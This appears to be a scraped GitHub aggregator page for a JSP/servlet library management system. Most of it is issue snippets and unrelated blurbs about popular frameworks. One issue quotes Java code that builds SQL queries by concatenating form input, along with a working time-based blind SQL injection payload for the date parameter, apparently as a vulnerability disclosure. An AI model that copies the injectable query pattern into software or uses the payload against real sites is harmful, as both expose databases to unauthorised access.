mrzyang / librarysystem Goto Github PK
View Code? Open in Web Editor NEW基于jsp+servlet+javaBean的图书管理系统
Home Page: http://zyang.top:8080/LibrarySystem
基于jsp+servlet+javaBean的图书管理系统
Home Page: http://zyang.top:8080/LibrarySystem
pom.xml文件的jstl依赖一直报红,但是我的.m2文件中有对应的jar包
Code that generates SQL injections:
String baseSql = "from book where price>=" + minprice; //如果前端表单传入minprice为空,则minprice=0为异常处理的结果
String sql = baseSql;
if (maxprice != 0) sql = baseSql + " and price<=" + maxprice; //如果前端表单maxprice输入不为空
if (!minpdate.equals("")) sql += " and pdate>= '" + minpdate + "'";
if (!maxpdate.equals("")) sql += " and pdate<= '" + maxpdate + "'";
if (cateId != 0) sql += " and cateId=" + cateId;
if (!name.equals("")) {
String keywords = "";
for (int i = 0; i < name.length(); i++) //将关键字分解成一个一个字进行模糊查询
keywords += "%" + name.charAt(i);
sql += " and name like " + "'" + keywords + "%'";
}
String countSql = "select count(*) " + sql; //查询满足条件的记录数
sql = "select * " + sql + " limit ?,?";
System.out.println(sql);
System.out.println(countSql);
payload:
type=search&bookname=aaaaa&cateId=0&minprice=&maxprice=&minPdate=&maxPdate=2024-04-15' AND (SELECT 5405 FROM (SELECT(SLEEP(5)))ITKj) AND 'GJzT'='GJzT
导入的时候记得修改一下坐标依赖(来自2022/12/29日的提醒)
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.